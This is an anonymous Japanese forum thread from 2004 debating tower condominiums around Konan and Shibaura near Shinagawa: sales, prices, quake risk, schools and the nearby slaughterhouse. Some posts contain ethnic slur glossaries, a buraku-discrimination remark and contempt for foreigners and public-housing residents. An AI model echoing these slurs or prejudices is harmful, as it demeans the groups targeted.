三井とか、住友２０００戸がでてくると、値下げしないと売れないのでは。
買ってしまった人は入居前にして暴落と。

129 ：名無し不動さん：04/01/12 17:10 ID:???

すると客単価が低い住民ばかりが増え、結局はすてきなお店は望めない･･･
ＤＱＮキホーテなど出店された暁には・・・鬱

130 ：名無し不動さん：04/01/12 18:43 ID:???

>>128
おいおいブラン残り１０戸って次期販売分ですよ。

131 ：名無し不動さん：04/01/12 19:11 ID:LGJ0d5pe

東京初のスラム街か～
ひえーーーーーーーーーー

132 ：名無し不動さん：04/01/12 20:02 ID:???

品川駅東口から下記の都バスに乗って一周してごらん。
ttp://www.kotsu.metro.tokyo.jp/bus/rosen/2616.htm
あの辺のマンション買おうと思っている人はかなり動揺するよ。
バス停の名前で国際救援センターって昔は難民センターって言ってたな。
難民って名前が良くなかったんだろうな。
コピペですまん

133 ：名無し不動さん：04/01/12 21:53 ID:LGJ0d5pe

で？それがどうした！
詳しいんだね。都営民か、

134 ：名無し不動さん：04/01/12 21:55 ID:DpQ2yQh7

>>130
案内来たけど、次期販売分だけではないです。
ずっと残ってる部屋も入ってます。
残り１０戸、よく売れた方じゃないか？

135 ：　：04/01/12 22:04 ID:ZuouwiBW

俺名古屋に住んでるんだけど、以外に安いんだな。
港区のタワーマンション。

136 ：名無し不動さん：04/01/12 22:40 ID:ze/G+OI8

このタワーマンションって、主にどんな年齢層・世代の人が買ってるのかな？

137 ：名無し不動さん：04/01/13 00:45 ID:???

主にいろんな年齢層・世代の人

138 ：名無し不動さん：04/01/13 01:15 ID:mKUz/fMB

ブランファーレってあと１０戸だけなの！
がんばったねー。
コスモポリスはあと５０戸くらいあるの？
ベイクレストはやはり苦戦してるのかね。
でも三井、住友見に来る、客は多いだろうからエリア的には
ずーっとホットだよね。
将来も人気保ちそう。（もちろん港南全体）

139 ：名無し不動さん：04/01/13 02:00 ID:???

あの虹の橋がね、港南からだときれいに見えるんですよ。とりあえず見学に来てみるのはいいと思います。

140 ：名無し不動さん：04/01/13 02:30 ID:???

↑こんな遅くまで営業乙ですｗ

141 ：土着民：04/01/13 03:35 ID:???

いやー。成人式の着物姿、全然見かけなかったなー。。
まだ、都営のビンボーしかいないもんな・・

142 ：名無し不動さん：04/01/13 04:21 ID:m++XLRBK

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143 ：名無し不動さん：04/01/13 12:54 ID:???

昨日夜、北品川商店街入り口付近からＶタワーの方を見たら、
都営とＶが重なって見える。
低層階都営で高層階Ｖタワーに見えた。

面白いのは都営はほぼ100％蛍光灯
Ｖはほぼ100％白熱色

Ｖの隣はかなり蛍光灯だったな。

144 ：土着民：04/01/13 21:17 ID:???

蛍光灯は消費電力が少なく、

地球にやさしいからな・・・

145 ：名無し不動さん：04/01/13 23:34 ID:b+yIos82

>>132
その系統の「食肉市場前」というバス停は、その昔は「屠殺場前」という
名前だったらしいよ。見も蓋も無い話だネ。

146 ：名無し不動さん：04/01/15 19:21 ID:B3BqqZ8K

じゃあ、あんたんちの前は「僻亭膿前」だね　w

147 ：名無し不動さん：04/01/15 22:24 ID:tvGekkcj

コスモポリス南側の都営再開発地
商業施設はどんなものが入るのかな？
スーパーやマツモトキヨシきぼんぬ。

148 ：名無し不動さん：04/01/15 22:26 ID:???

キホーテきぼんぬ

149 ：名無し不動さん：04/01/16 06:16 ID:Qg0eTptU

頼むからハナマサ来てくれ

150 ：名無し不動さん：04/01/16 12:43 ID:???

>>149
そんなものより直送の店が出来た方がよくないか？

151 ：名無し不動さん：04/01/17 14:14 ID:SPSfgDlh

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152 ：名無し不動さん：04/01/17 14:20 ID:???

作家（写真家）の藤原新也が昔ここら辺に住んでいて、エッセイの中で
「品川から夜中に豚の泣き声が聞こえる」って書いてたよ。
さすがに今は屠殺場は無いよね？

153 ：名無し不動さん：04/01/17 14:36 ID:???

＞152　今は屠殺場は無いよね？

港南５丁目にある。
全農中央畜産センター、東京部分肉センター、東京中央卸売市場食肉場、東京食肉市場、etc
４丁目には陸上自衛隊芝浦分屯地。
暴走族、走り屋、スケーター、怪しい外国人も多いので、ファミリー層には向かない地域。
出勤は楽で、夜景は素晴らしいだろうけど。

154 ：名無し不動さん：04/01/17 18:30 ID:???

>153
ヲイヲイ、５丁目にも関係施設はあるけど屠場は２丁目だろ

４丁目の分屯地も既に廃止されているし・・・　

155 ：名無し不動さん：04/01/18 01:34 ID:QDv7bbX6

>１５３は、単なる地図だけ見た、田舎物

156 ：名無し不動さん：04/01/18 09:21 ID:???

なんか港南業者が他のスレで必死の書き込みをしまくってます。
たのむからこのスレから出てこないでください。

157 ：名無し不動さん：04/01/18 10:54 ID:???

藤原新也が住んでいたのは、芝浦というか田町。

藤和の超高層は誰も興味が無いの。

158 ：名無し不動さん：04/01/18 17:01 ID:???

無いね

159 ：名無し不動さん：04/01/18 21:32 ID:D9x9mNcI

>>88
芝１にゴールドクレストがタワー作る。
貿易センターより高くて、浜松町から徒歩5分。

ぎりぎり山手線円内だから港南よりすこしはマシ、
芝離宮の借景もいいんじゃないのかな。

ｂｙ芝地元民

160 ：名無し不動さん：04/01/18 21:39 ID:noD8Xrtx

>159
何階建て？

161 ：名無し不動さん：04/01/18 21:58 ID:20npUXWZ

あっぶねえ～　　(nhk

162 ：名無し不動さん：04/01/18 22:16 ID:???

>>161
見たよ
今建ってる超高層全てあぼーんじゃん
怖くって買えないよ
これから設計する超高層には
超臭気対応精神装置必須だなｗ

163 ：名無し不動さん：04/01/19 00:41 ID:???

>>162
確かに、港南では、長周期にも超臭気にも対応じゃないとね。

164 ：名無し不動さん：04/01/19 00:57 ID:YkAT2bot

age

165 ：名無し不動さん：04/01/19 01:12 ID:vIVAWJbj

中部地震で、地上は震度３～４くらいなのに、
高層マンションの上の方はシェイク状態（ｗ

166 ：名無し不動さん：04/01/19 02:48 ID:???

>>160

159じゃないが、37階142.5ｍ、2007年完成、って書いてある。
http://www.geocities.co.jp/HeartLand-Yurinoki/1061/Tokyo130m.html

って、貿易センタービルのが高いじゃん。
http://www.geocities.co.jp/HeartLand-Yurinoki/1061/Tokyo150m.html

167 ：名無し不動さん：04/01/19 04:33 ID:???

nhkも酷だよなぁ。
これから作るところはまだ対策立てようがあるけど、
もう建ってるところにはあぼーん宣告だもんな。

あ、NHKスペシャルの話ね。
たぶん今夜か明日あたり再放送があると思う。

168 ：名無し不動さん：04/01/19 05:43 ID:ZrNzh40M

まぁ、どうせ君たちは、買えないから関係ないでしょう

169 ：名無し不動さん：04/01/19 08:33 ID:CcZVopWj

コスモポリスは耐震ダンパーあるよ。

170 ：名無し不動さん：04/01/19 14:29 ID:UhkTPRUc

耐震ダンパーなんかじゃ・・・wara

171 ：名無し不動さん：04/01/19 21:26 ID:hIFSgMaI

>159
芝１丁目のゴクレのマンションは、何時から販売開始？
ＨＰにまだ出ていない様ですが、何か知っています。

172 ：名無し不動さん：04/01/19 23:40 ID:???

>171
その前にベイクレ完売せよ

173 ：名無し不動さん：04/01/20 12:35 ID:???

じゃあタワー低層階なら勝ち組？でもくさいからだめか・・

174 ：名無し不動さん：04/01/20 16:43 ID:???

下は液状化＆津波＆腐臭
上は超高周波でシェイク＆エレベーター断線

どっちがいいですか？

175 ：名無し不動さん：04/01/20 16:45 ID:???

港南は治安悪いから子供が居る家族はやめとけ。
DINKSにはうってつけだけどね。

176 ：名無し不動さん：04/01/20 19:39 ID:???

>>175
死語ｷﾀｰ

177 ：名無し不動さん：04/01/20 21:24 ID:???

>>175
毎朝グランドコモンズ通るけど、Ｖタワー方面から来る
小学生がみんな制服着ているんだよ。
地元の学校に通わせる奴なんていないってことでしょう。

178 ：名無し不動さん：04/01/20 21:29 ID:???

みんな、ってこたぁねーだろーが
ところでVは港南小の学区なの？

179 ：名無し不動さん：04/01/21 20:48 ID:YlzkwT6+

>178
港区は小学校は隣接地から選択性を導入。
中学にいたっては、区内全区域から洗濯可能。

港南小がいやだったら、芝浦小にしましょうｗｗ

180 ：名無し不動さん：04/01/21 22:20 ID:???

選択性って港区じゃなくて品川区では？

181 ：名無し不動さん：04/01/21 22:33 ID:bfMOP8lT

そりゃそうだろ！港南の学校に通わせてＤＱＮと一緒にするか

182 ：名無し不動さん：04/01/21 22:47 ID:YlzkwT6+

>>180
港南小におこさんを入れるしかないですね。
諦めてください。

183 ：名無し不動さん：04/01/21 23:19 ID:???

>>182
やっぱり私立に入れるしかないでしょ。
実際に、Ｖ住人の殆どは私立に通わせているし。

184 ：名無し不動さん：04/01/22 23:18 ID:WfvI7vRQ

別にＶの住民でなくても、今時普通の家庭は私立でしょ

185 ：名無し不動さん：04/01/22 23:19 ID:/8XBA+EW

と場に学校作ればいいのに

186 ：名無し不動さん：04/01/22 23:59 ID:???

>>185
そういえば、あそこって都営だったよな。
マンション乱立で、学校が不足。
肉類は当面不足するだろうから施設の稼働率も上がるまい。
それならば、いっそと場を学校にするのもありだな。

187 ：名無し不動さん：04/01/23 20:46 ID:???

>>186
それはすばらしいと思います。ぜひ街道にそれを提案してください。

188 ：名無し不動さん：04/01/23 23:12 ID:???

校庭に牛魂碑のある学校なあ、、、

189 ：名無し不動さん：04/01/23 23:25 ID:???

インターシティに勤めてますけど、
今日はクレーンに吊るされた肉を運び出してトラックに積んでました。
毎日うえからリアルで見てる・・・

190 ：名無し不動さん：04/01/23 23:34 ID:???

品川のと場は、埠頭に移したほうが良いんじゃねーの。
どうせ輸入牛肉の処理とかもやってるんだろうから、
船から降ろしたら、すぐ処理できてよいと思うんだけどね。

191 ：名無し不動さん：04/01/24 14:31 ID:???

大量の水が必要だから、下水処理場に隣接してるんじゃないか。
海に流すわけには

192 ：名無し不動さん：04/01/25 17:33 ID:4LkPL9ye

同種のマンションの主要購買層は比較的安全への関心が高いことから
長周期震動への対応がされていない既存の超高層マンションの購入を
手控える動きが強まっており、現在建築中の物件を含めて資産価値の
低下が避けられない状況となっている。

193 ：名無し不動さん：04/01/25 17:43 ID:0EPankAC

と場の中に教室作れ！
に一票

194 ：名無し不動さん：04/01/25 22:21 ID:???

暇つぶしに、品川駅近辺のタワーマンションの立地を見て回ってきました。
工程は、
ＴＲ⇒ＣＴ⇒白Ｔ⇒芝浦ベイ⇒品川ベイ⇒コスポリ⇒ベイクレ⇒ブラン⇒ＳＥＡ

回ってわかったことは運河沿いは臭い。ただし海近なら磯の香りなので大丈夫。
あと、当たり前すぎるけど、高輪側に住むことをお勧めする。
港南地区は言われているとおりのところだよ。

195 ：o：04/01/26 00:08 ID:???

この時期エサがなくて食い詰めたカラスの縄張り争いが激しい。負けたカラスは
あのくちばしで胸を突かれて息絶える。肉の匂いに惹かれて多くのカラスの集ま
った港南も例外ではない。

腐臭漂う路地でカラスの断末魔の叫びを聞くと港南に住んでいることを実感する。

196 ：名無し不動さん：04/01/26 08:03 ID:Naolz/gw

高輪の売れないtower工作員ハケーン　w

197 ：名無し不動さん：04/01/26 08:05 ID:???

港南の売れないタワーの営業ハケーン　ｗ

198 ：名無し不動さん：04/01/26 21:44 ID:???

芝浦４丁目、沖電気の跡地に高層ビルできるようですけど、
住宅用ですか？どなたか知りませんか？

199 ：名無し不動さん：04/01/27 12:24 ID:???

芝浦４丁目の売れないタワーの営業ハケーン　ｗ

200 ：参照：04/01/27 19:43 ID:???

>>198
東京･港区の湾岸沿いの倉庫･工場エリアで､マンション供給ラッシュが始まる｡｢芝浦･港南地区住宅市街地総合支援事業｣の整備計画が本格的にスタートするためだ｡
　オリックス･リアルエステート(当会会員)と三井不動産等５社は､新三井製糖跡地約１万6500平米に､計1400戸の大規模マンションを開発する｡芝浦エリアではこのほか､三井不動産による３プロジェクト計1200戸の計画がある｡
　また､芝浦４丁目では､沖電気本社別館跡地約１万1300平米に東急不動産､安田不動産など４社による48階建タワーマンション925戸の開発を計画｡
　さらに､港南エリアでは､住友不動産による40階建以上の超高層３棟2161戸等が計画されており､同エリアは､江東区の臨海部に次ぐ､都心マンション急増地帯となる｡

201 ：名無し不動さん：04/01/27 21:58 ID:EbVnu2Ft

どうせどこもマンションそんなに売れないんだから
低層階を、と場にすればいいのに

202 ：名無し不動さん：04/01/27 22:22 ID:???

港南と芝浦は全然ちがうぞ

絶対一緒に語らないでくれ！！

203 ：名無し不動さん：04/01/27 22:26 ID:???

>>202
ほとんど同じだよ。剥きになるほどでもないから、
地名違いも全く同じでいいと思うけど

204 ：名無し不動さん：04/01/27 22:28 ID:PxOH/f2N

>>202
どっちが上なの？

205 ：名無し不動さん：04/01/27 22:30 ID:???

どんぐりの背比べ。

206 ：名無し不動さん：04/01/27 22:47 ID:???

ターミナル駅が近いのと天王洲エリアで
港南のが格上じゃない。

207 ：名無し不動さん：04/01/27 22:59 ID:???

天王洲は東品川だし、メリットってほどの物でもないし･･･

208 ：sage：04/01/27 23:09 ID:6KoGIsx8

sage

209 ：名無し不動さん：04/01/27 23:09 ID:???

sage

210 ：名無し不動さん：04/01/27 23:20 ID:OWD9rzE7

山手線の内側と外側では
大きな違いかと...
それに坪単価は芝、芝浦の方が上！

211 ：名無し不動さん：04/01/27 23:57 ID:JBXGkLtk

目白デムパの芝浦版の書込みキボン！

212 ：名無し不動さん：04/01/28 08:05 ID:???

芝浦も山手線の外側だけどね。

213 ：名無し不動さん：04/01/28 08:52 ID:BWPVhn+Q

ま、人が多く住めば、この辺の環境も良くなります。

214 ：名無し不動さん：04/01/28 22:45 ID:???

芝と芝浦をいっしょくたに語ろうとした２１０の度胸にカンパイ！！

215 ：名無し不動さん：04/01/29 01:01 ID:???

>>214
カンパイ！

216 ：名無し不動さん：04/01/29 09:48 ID:???

>>214
210は港南と高輪を一緒にするふくせんかも。
御殿山・港南を一緒にしたりとか

217 ：名無し不動さん：04/01/29 13:56 ID:???

>>216
考えすぎ、210はただの田舎もの。

218 ：名無し不動さん：04/01/29 15:05 ID:???

お台場と港南・芝浦は一緒

219 ：名無し不動さん：04/01/29 16:26 ID:???

芝浦のヤナセのあたりは、元ﾁｮｿ部落・・・

220 ：名無し不動さん：04/01/29 17:12 ID:???

たまに暴走族が出没するのが嫌ですな。
あと、スプレー缶で落書きするクソガキの多いこと！
やっぱ倉庫が多い地帯の夜に無法者はつきものなのか？

221 ：名無し不動さん：04/01/29 18:45 ID:???

珍走団？？海岸に住んでるけど珍走なんて見ないよ

222 ：名無し不動さん：04/01/29 18:54 ID:???

倉庫や工場はどこに引っ越したのかな？？

223 ：名無し不動さん：04/01/29 19:11 ID:???

年末に珍走団見た・・・鬱

224 ：名無し不動さん：04/01/29 21:55 ID:BRKEaEnr

今日品川駅の新幹線ホームが臭ったのだけどあれが血の臭いか？

225 ：名無し不動さん：04/01/29 22:54 ID:???

臭いのは芝浦下水処理場の異臭ですよ。

226 ：名無し不動さん：04/01/29 23:06 ID:TZCRLM2A

↑そんなの昔から無いよ。田舎住民でしゅか

227 ：名無し不動さん：04/01/30 00:43 ID:9GzqqKxC

>217
おまえは、ただの愚か者！＆田舎物

228 ：名無し不動さん：04/01/30 09:15 ID:???

この辺りは大井埠頭でドリフトしてる連中の通り道だからな。
台場帰りの珍走の通り道でもあるし。

>>222
品川駅前はJR跡地。倉庫や工場はそんなに無くなってない。

229 ：名無し不動さん：04/01/30 11:50 ID:???

>>227
これが有名なファビョーンって奴ですか？

230 ：名無し不動さん：04/01/31 11:22 ID:AKJCAbXd

突然だがラグナにとある芸能人が契約したのか？
誰かはしらんが、あのまわりは人混みはすごいというわけでもないし、へんぴな場所は芸能人向けなのか？

231 ：名無し不動さん：04/01/31 12:13 ID:???

工場倉庫街で超殺風景な芝浦と、古くからの由緒正しき真の山の手
高級住宅街の目白を一緒にすんな、ぼーけ！

232 ：名無し不動さん：04/02/01 07:03 ID:???

12chに近いのでセカンドハウスとして契約して頂きました。

233 ：名無し不動さん：04/02/01 10:09 ID:???

１２ｃｈの横の歩道にうぶそうな女の子ばかり１００ｍくらい行列してなんか待ってる事がある。

234 ：名無し不動さん：04/02/01 18:05 ID:???

ジャニヲタでしょう

235 ：名無し不動さん：04/02/01 23:33 ID:???

グランドコモンズのコンビニで毛唐のばばあがゴネていた。千円札と一万円札を混同して
お釣りが少ないと言っているらしい様子だったが、お隣の施設でカラスのえさにして欲しいと思った。

236 ：名無し不動さん：04/02/03 02:17 ID:3udFU4k5

町が綺麗になっても、そこに住む住民は直ぐには変わらない
何十年かかって淘汰されるか、増殖するか
さて、港南はどうなるかな、結末は多摩ニュータウンと見た。

237 ：名無し不動さん：04/02/03 02:24 ID:???

倉庫が絶滅するか、マンションブームが衰退するかの戦い
食肉が居座り続けるか住人が追い出すかの勝負。

下水処理場との同居はもう仕方ない。

果たして港南の未来やいかに！？

238 ：名無し不動さん：04/02/03 08:42 ID:GnrL/UVo

誰か湾岸ミュージアム見に行った？

239 ：名無し不動さん：04/02/03 22:08 ID:y+c6qHiY

毛唐ってなに？

240 ：名無し不動さん：04/02/03 23:00 ID:???

>>236
品川から電車で1時間以内にあるオフィスと商業施設が全滅したら、そうなるかもね。

241 ：名無し不動さん：04/02/04 00:53 ID:???

＞食肉が居座り続けるか住人が追い出すかの勝負

後から引っ越して来て、血の臭いが嫌だから追い出すって・・・
「最悪」って小説を思い出したよ。

242 ：名無し不動さん：04/02/04 09:28 ID:kohhAcMs

それでもあえて港南に住むとしたら、既存／予定問わず、どのマンションがイチオシでしょう？

243 ：名無し不動さん：04/02/04 22:40 ID:dKDDVRN/

>>239
けとう【毛唐】（名）［俗］白色人種。欧米人
どじん【土人】（名）[俗]黒色人種。ニグロ。くろんぼ
いたこう【イタ公】（名）[俗]陽気な茶色いの
めひこう【メヒ公】（名）[俗]にぁりいいこうる上
ちょん【チョン】（名）[朝鮮・総角]知恵が少し足りない人

244 ：名無し不動さん：04/02/04 23:15 ID:???

>>242
安いところ
住友他の価格が発表されていないので何とも言えん

245 ：名無し不動さん：04/02/04 23:29 ID:GX3aIuid

ゆだこう【ユダ公】　ユダヤ人（本来ユダヤ民族は民族として存在しない、ユダヤ教徒をユダヤ人と称す）
あめこう【アメ公】　ヤンキー　アメリカ兵、アメリカ人
とみー【トミー】イギリス兵、イギリス人
ろすけ【露助】ロシア兵（ソビエト兵）、ロシア人
ぼるしぇびき【ボルシェビキ】旧ソ連共産党の前身。ロシア共産党。ボルシェビキは多数派の意。
しなちく【シナ畜】支那畜。　シナ人（現在の中国人）豚以下の存在。
ちょんこう【チョン公】チョンの同意語。

246 ：名無し不動さん：04/02/04 23:44 ID:???

>>237
食肉を追い出す要望をするのは当然の権利だ！
って街道に提案してみなよ。
たぶん君の提案を採用してくれると思うから住所電話番号明記の上街道に手紙だしてみな

247 ：名無し不動さん：04/02/04 23:52 ID:???

>242
やっぱり港南脱出したくなった時に備え、なるべく駅近。
Vタワーの中古を買い叩くとか。

248 ：名無し不動さん：04/02/05 00:45 ID:???

どう考えても一番値落ちしないのはVだと思うが
他はどれもこれも似たり寄ったりだろ。しかしリセールに強くファンが多い三井かな？
三井は安いしな

249 ：名無し不動さん：04/02/05 09:08 ID:???

追い出したい人はここでまず書いてみろ。勇気があるなら。
http://homepage2.nifty.com/meat_museum/tojyo/page1.html

250 ：名無しさん：04/02/05 10:08 ID:???

Ｖと港南地区の他のタワーマンションをひとくくりで語るのはかなり乱暴。
佃のリバーシティーと月島のマンションを同列に考えているようなもの。

251 ：名無し不動さん：04/02/05 12:18 ID:???

似たりよったり。
港南地区のマンソンと高輪地区や御殿山地区のマンソンをひとくくりでは語れないけど。

252 ：名無し不動さん：04/02/05 15:03 ID:???

確かにＶの住民は>>250のように思いたいよね。
だってあんなに馬鹿みたいな高値で買ったんだもの・・
でも実際は（ｒｙ

253 ：名無し不動さん：04/02/05 16:31 ID:???

ズバリ、高層階は景色がいいし、出勤も楽。若い夫婦には理想的なマンション。
ただし近い将来に子供を作ろうと思ってる夫婦にはお薦めできないエリア。
ここらへん本当に変な人が多いですよ（日中でも変質者っぽい人がウロウロしてる）。
ある意味、住民が監視役を買ってくれてる下町（荒川、葛飾、江東区等）の方が日中はマトモ。
将来も子供は要らない！というDINKSだったらノー問題。

254 ：名無し不動さん：04/02/05 18:08 ID:???

>>246
俺は港南住民じゃねーよ、でも港南の人は多かれ少なかれ
そう思ってるんだろ？

「君の提案」とかいってんじゃねーよ、早とちり君

255 ：名無し不動さん：04/02/05 21:28 ID:???

港南の屠場については、

高い固定資産税を払って経営は成り立つのか、
高い運賃払ってあそこまで牛を運んでくるのはどこの業者なのか、

経営という面から見てもいろいろ疑問はあるな。

256 ：名無し不動さん：04/02/06 00:16 ID:syGcQVOu

やっぱＶが抜群なんでしょうかね？

通勤途中に電車から眺めてますが、あの辺のビルが密集した感じがどうも好きになれないです。
実際に住んで、室内からの眺めはそれほど気にならないのかとも思いますが。。。

257 ：名無し不動さん：04/02/06 00:19 ID:EcXPC9XI

コスモポリスが一番いいよ！
駅徒歩１０分だし、内装もしゃれてる。

258 ：名無し不動さん：04/02/06 00:23 ID:???

コスモだってすぐにマンションに囲まれちゃうよ。

259 ：名無し不動さん：04/02/06 00:43 ID:???

>>257
コスモポリスは内装の統一感は美しいとは思うが、
あの色合いは俺の好みに比べると重厚すぎる…
あとはどこに取っ手があるかが迷いそう（藁

260 ：名無し不動さん：04/02/06 01:31 ID:???

やっぱ高輪だよ。
レジデンス７０ｍ２台が６０００万円台中心
コスポリと変わらんないんじゃないの？

261 ：名無し不動さん：04/02/06 10:01 ID:???

>>255
国の施設、都の施設全てにあてはまりますね。
都庁は八王子に移転させますか？

262 ：名無し不動さん：04/02/06 10:33 ID:???

＞国の施設、都の施設全てにあてはまりますね
＞都庁は八王子に移転させますか？

違う点もいろいろあるんだから、すぐ極論に走っちゃダメだよ。
早漏になっちゃうよｗ

263 ：名無し不動さん：04/02/06 12:18 ID:???

>>255
そういう疑問はここでどうぞ
http://homepage2.nifty.com/meat_museum/tojyo/page1.html

>>256
君のお住まいのＶタワーは今日も臭かったし京急が鉄橋を渡るときに轟音をたててましたね

264 ：名無し不動さん：04/02/06 12:32 ID:???

まず大崎からの移転の経緯も知らず、簡単に立ち去れと言うヤツは
ただの差別者ですな。

265 ：名無し不動さん：04/02/06 20:54 ID:???

>>264
ちがう、地図観て書き込んでるただの田舎者だと思う。
あとは妄想デベ。

266 ：名無し不動さん：04/02/07 10:26 ID:bdM4RFy9

港南は港区のお荷物…。

267 ：名無し不動さん：04/02/07 11:04 ID:???

>>264
大崎から移動したときと同じ理由でまた移せばよい。

268 ：名無し不動さん：04/02/07 13:01 ID:Zv8t6hOB

>266はオオバカ
品川駅周辺の企業からの税収と糞住民でも増えれば、税収が増える。
近寄らなければ、他の港区住民にとって影響なし、
お荷物と思うのは、お前が当事者だからだろ。新港南民！

269 ：名無し不動さん：04/02/07 13:16 ID:bdM4RFy9

やっぱりお荷物だろ。
高輪住民にとって港南は港区のイメージダウンにつながってるのは明白。

270 ：名無し不動産：04/02/07 22:25 ID:sqkDperc

いっそうの事、品川区か江東区へ編入してもらった方がいいかと

271 ：名無し不動さん：04/02/07 22:42 ID:AC0iG2Nx

港南マンソン予定地みにいってきた。
超高層ゴミヤキエントツのまん前の排気ガスマンエン海岸通り沿い
に３ッツならんで高層マンソンが立つのですね。
ＭＲではわからんね。となりとそのとなりに同じような高層マンソン
がたってますなんていわないだろうから。
でも、現地の看板に値段がかいてあるので、３っつを比較するにはいいかも
。購入予定者は現地をみないといかんよ。

272 ：名無し不動さん：04/02/08 12:10 ID:m4brah/Y

ブラン・住友・ゴークレ？
コスモポリスは大丈夫だね。

273 ：名無し不動さん：04/02/08 15:10 ID:???

コスモこそ、周りをマンションで囲まれてしまう。

274 ：名無し不動産：04/02/08 16:09 ID:nM4Y90g0

日通も何れ引っ越すと思われ、西と北も何れ囲まれるでしょう。（２０数階建ては確実）
しかも、コスモとの間隔が、南側より狭い可能性が高いので
最悪かと．．．そうすると何の取り得も無く、
内装、設備が良くても、そんなもの他の物件でも良いことだし
安く、何ちゃって港区民になれるだけ

275 ：名無し不動さん：04/02/08 16:47 ID:???

港南→と場→ドナドナ
メランコリックな街だなも

276 ：名無し不動さん：04/02/08 17:50 ID:???

いくら品川最寄っても、と場のそばだけは
住みたくないね。毎日断末魔の悲鳴聞いて暮らすのヤダ。

277 ：名無し不動さん：04/02/08 21:25 ID:???

ﾋﾟｷﾞｨｨｨｰ

278 ：名無し不動さん：04/02/09 00:52 ID:Umyz+iXg

コスモは敷地内を余裕を持って建ててるから大丈夫。

279 ：名無し不動さん：04/02/09 00:58 ID:0LtNXigw

　　 ∧ ∧ﾋﾟｷﾞｲｨｨｰ
;y=ｰ( ﾟωﾟ)･∵. ﾀｰﾝ

280 ：名無し不動さん：04/02/09 01:04 ID:???

∧ ∧ﾋﾟｷﾞｲｨｨｰ
( ﾟωﾟ)･∵.

281 ：名無し不動さん：04/02/09 01:28 ID:hMpwBCIM

朝夕はカラスが群れをなしているって本当ですか？

282 ：名無し不動さん：04/02/09 11:54 ID:???

どなどなどーなぁどーなぁ

283 ：名無し不動さん：04/02/09 12:38 ID:P3XmIurV

品川最寄＝と場のそば

284 ：名無し不動さん：04/02/09 15:21 ID:???

ビルの高層に居ても、豚さん牛さんの
色々な鳴き声が聞こえるんですってね
港南て、せいぜいそんな町

285 ：名無し不動さん：04/02/09 20:40 ID:???

ﾏｼﾞﾚｽすると、現代のﾄｻﾂは感電死なのでピリッと一瞬。
叫び声は運ばれて来るときのじゃろ。
北海道の牧場の人に聞いた。

286 ：名無し不動さん：04/02/09 20:40 ID:???

この地区は数年後以降､大化け変貌で都心有数の
ウオーターフロント高級宅地になる気配濃厚｡
いずれ､都営等は移転･建てかえで､高級マンソンが
建ちそう｡ソニービルがあそこに進出するからには､
活性化の証と読んだ!?

287 ：名無し不動さん：04/02/09 20:53 ID:???

いいねぇ　夢があってｗ
どうやったって、数年後は無理でしょ。
ま、早くて十数年後かな。そこまで気長に待てるの？

288 ：名無し不動さん：04/02/09 21:21 ID:???

死に体ソニーと道連れの説が濃厚

289 ：名無し不動さん：04/02/09 21:40 ID:???

都心有数のウォーターフロント「高級」宅地って　ｗ

290 ：名無し不動さん：04/02/09 21:43 ID:???

ソニー、昨年からいきなり大赤字で巨大な負債かかえちゃったからねぇ。
勢いのある大企業も実は諸刃の剣なのね。

291 ：名無し不動さん：04/02/09 22:19 ID:???

多くの命が消える街･･･港南
ちょっとアド街っぽい

292 ：名無し不動さん：04/02/09 22:50 ID:y/nvZyWV

ねえ、いつまで一人芝居してんの？

293 ：名無し不動さん：04/02/09 22:55 ID:???

>>292
それが彼の唯一の生きがいなんだ。楽しみなんだ。
暖かく見守ってやれ

294 ：名無し不動さん：04/02/10 00:07 ID:???

>>293
まだ帰れないの？大変ね？
どこ？コスモ？ブラん？それともごくれ？

295 ：名無し不動さん：04/02/10 21:51 ID:zTlvxnK9

　　　　　　　　∧ ∧
ブヒ━━━━||Φ|(|ﾟ|ω|ﾟ|)|Φ||━━━━イィｨｨ!!!

296 ：名無し不動さん：04/02/10 22:09 ID:???

たまにおめかしした牛とか
リボン付けた豚とか来るそうですね
わびしい･･･
いっそのこと人間の自殺希望者も港南で処理して
食肉にすればいいのに

297 ：名無し不動さん：04/02/10 23:13 ID:LrRvKN8W

郊外で飼育してるのだからそちらに処理場があるはず。
なんで港区まで運んでくるのかね？

298 ：名無し不動さん：04/02/10 23:34 ID:???

処理してから運ぶと鮮度が落ちる。

299 ：名無し不動さん：04/02/10 23:37 ID:LrRvKN8W

>>298
肉って落としてから数日後が食べごろなんじゃないの？
それに瞬間冷凍とかして運べば問題ないと思うんだけど。

300 ：名無し不動さん：04/02/11 00:07 ID:8t54VZgL

と場マニアの集うスレはここですか？

301 ：名無し不動さん：04/02/11 00:11 ID:???

マニアによるマニアだけのマニアのための、

　　　　　　　　マンション

302 ：名無し不動さん：04/02/11 00:18 ID:???

他の掲示板より転載

＞みなさんお久しぶりです。
＞この所マンションの竣工ラッシュで各現場の検査等をしていたので
＞なかなかスレを見ることが出来ませんでした。
＞検査をしていて色々な方の意見をそれとなく聞いていた中で一つ
＞気になる事を言われていた方がいました。
＞ブランの事かは分かりませんが話を聞いているとブランの様な気が
＞します。
＞私の部屋は下の階なので関係ないのですが、上の階の部屋は塗装の
＞扉だった様ですがシート貼りの仕様に変更したとのことです。
＞何でも価格が高かった為、仕様を落としたようだよと言われていま
＞した。
＞購入者が気づいたら交換しようと言われていたと言う話をしていま
＞
＞したがその様な事はあるのでしょうか？
＞一度モデルに入れている仕様から連絡無く変更と言うのはあるので
＞しょうか？
＞仕事柄モデルを良くみますが、モデルを入れる前に変更はありますが
＞モデルに入れた物を変更と言うのは聞いた事がありません。
＞自分が見ている仕様から勝手に変えられるのはルール違反の様な気が
＞してなりません。
＞ブランの事でないのなら良いのですが・・・
＞詳しい方いらっしゃいますか？

303 ：名無し不動さん：04/02/11 00:58 ID:???

冷凍は味が落ちる。チルドがよい。

304 ：名無し不動さん：04/02/11 03:06 ID:???

チルドは味が落ちる。踊り喰いがよい。

305 ：名無し不動さん：04/02/11 10:34 ID:TJrhAj2q

食肉市場の沿革（東京都ＨＰ）
ttp://www.shijou.metro.tokyo.jp/03/03_05_03.html

306 ：名無し不動さん：04/02/11 15:23 ID:???

Ｂ地区に住み、周りからＢと言われ、
ＢにはＢじゃないと言われ、宙ぶらりん

307 ：名無し不動さん：04/02/11 21:01 ID:???

ここら辺にスケーターが多いのは都内でも屈指の有名な練習場があるから。
カリスマ・プロスケーターも毎週来てる。
プロやスケボー絡みの仕事してる子達は礼儀も正しいし、ゴミも持ち帰るので問題ないけど
太刀が悪いのはロクに練習もしないで、ブラブラしてる下手くそなガキ共。
スプレーで落書きしたり、喧嘩したり・・・頼むから暴れるなら渋谷や新宿に行ってやってくれ！

308 ：名無し不動さん：04/02/11 21:01 ID:8t54VZgL

と場スレと化してしまったので次スレ立てる時は　

